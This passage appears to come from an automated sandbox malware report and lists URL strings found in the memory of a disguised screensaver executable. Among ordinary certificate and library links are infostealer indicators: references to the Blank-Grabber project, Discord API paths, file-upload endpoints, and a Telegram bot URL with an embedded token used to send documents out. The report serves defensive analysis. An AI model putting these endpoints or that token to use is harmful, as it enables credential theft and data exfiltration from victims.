Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042073233.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033391617.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033733200.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033990521.000001CCD86D0000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042177471.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041104820.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034348641.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042073233.000001CCD86D0000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033839925.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042909763.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034111679.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040742387.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034224665.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033990521.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033195251.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040242282.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040865247.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033558347.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0C
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042073233.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033391617.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033733200.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042177471.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041104820.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034348641.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033839925.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042909763.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034111679.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040742387.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034224665.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033990521.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033195251.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040242282.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040865247.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033558347.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0X
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000002.2344600266.000001CCD86BE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2344137024.000001CCD86BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.sectigo.com0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000029.00000002.2158201728.0000015301914000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000007.00000002.2195052867.0000016181EA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000007.00000002.2195052867.0000016181C81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2158201728.0000015300001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.2195052867.0000016181EA8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330698605.0000028C88168000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000029.00000002.2158201728.000001530176B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000029.00000002.2158201728.0000015301914000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042073233.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033391617.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033733200.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042177471.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041104820.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034348641.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033839925.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2042909763.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034111679.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040742387.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2034224665.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033990521.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033195251.000001CCD86C3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040242282.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2040865247.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2033558347.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com/CPS0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327784022.0000028C876A3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2325587092.0000028C876A3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154822441.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2115215405.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoftILEEX~1.LNKy./
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330228467.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoftISPLA~1.PNGy.
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2162960886.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.microsoftRUSTT~2JSOy./
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88248000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://MD8.mozilla.org/1/m
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2332092681.0000028C88A42000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88298000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 00000007.00000002.2195052867.0000016181C81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2158201728.0000015300001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88208000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2149555073.0000028C887AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://allegro.pl/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328542790.0000028C87930000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.anonfiles.com/upload
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328542790.0000028C87930000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.gofile.io/getServer
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328542790.0000028C87930000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330698605.0000028C88168000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot6932251862:AAHJgssLa4FQxIPJOSZL101THMOx2PWVwSE/sendDocument
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88234000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2329477529.0000028C87C6D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000029.00000002.2187351911.00000153101B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000029.00000002.2187351911.00000153101B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000029.00000002.2187351911.00000153101B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/cps0%
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000000.00000003.2041680595.000001CCD86C4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0.
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328428391.0000028C87830000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://discord.com/api/v9/users/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328428391.0000028C87830000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://discordapp.com/api/v9/users/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327337197.0000028C8737A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2060606390.0000028C87391000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324232079.0000028C87D30000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330540975.0000028C8800C000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328428391.0000028C87830000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/Blank-Grabber
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2059021822.0000028C87D20000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2058548042.0000028C87CE6000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2058318262.0000028C87E4B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Blank-c/BlankOBF
Source: powershell.exe, 00000029.00000002.2158201728.0000015301914000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327337197.0000028C872E0000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052434132.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052638977.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2051510820.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052092387.0000028C87308000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327145319.0000028C8724C000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052092387.0000028C87308000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327337197.0000028C872E0000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052434132.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052638977.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2051510820.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052092387.0000028C87308000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327337197.0000028C8737A000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2060852882.0000028C877E6000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2061237289.0000028C87680000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/python/cpython/issues/86361.
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2327337197.0000028C872E0000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052434132.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052638977.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2051510820.0000028C87308000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2052092387.0000028C87308000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330540975.0000028C8800C000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154822441.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2321848291.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2115215405.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330228467.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2162960886.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87B77000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87B74000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2329026765.0000028C87B86000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2322690660.0000028C87B63000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154463139.0000028C87B74000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87B75000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330540975.0000028C8800C000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324666281.0000028C87B77000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2326023533.0000028C87B85000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2323296128.0000028C87B76000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330540975.0000028C8800C000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920px
Source: powershell.exe, 00000029.00000002.2158201728.0000015300C35000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000007.00000002.2286012485.000001619A462000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://go.micros
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2139193812.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328156314.0000028C877E5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2163201271.0000028C877C9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2322889946.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154159134.0000028C877C5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2130602364.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2323195620.0000028C877D3000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2142394974.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324867751.0000028C877E1000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2326282443.0000028C877E4000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324867751.0000028C877D6000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328156314.0000028C877D9000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2082475372.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2163456438.0000028C877CE000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2139193812.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2127743261.0000028C87B3D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://google.com/mail/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2328542790.0000028C87930000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://gstatic.com/generate_204
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2104256267.0000028C87B77000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2122461107.0000028C87B74000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2329026765.0000028C87B86000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2322690660.0000028C87B63000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2154463139.0000028C87B74000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2083926352.0000028C87B75000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2324666281.0000028C87B77000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2326023533.0000028C87B85000.00000004.00000020.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2323296128.0000028C87B76000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2139193812.0000028C877D5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://httpbin.org/
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000003.2060431464.0000028C87DCA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://json.org
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C88298000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2330934466.0000028C8828C000.00000004.00001000.00020000.00000000.sdmp, #U202f#U202f#U2005#U00a0.scr.exe, 00000002.00000002.2332092681.0000028C88A42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com
Source: powershell.exe, 00000007.00000002.2265902518.0000016191CF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2187351911.0000015310075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2158201728.000001530196F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2187351911.00000153101B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000029.00000002.2158201728.000001530176B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000029.00000002.2158201728.000001530176B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oneget.orgX
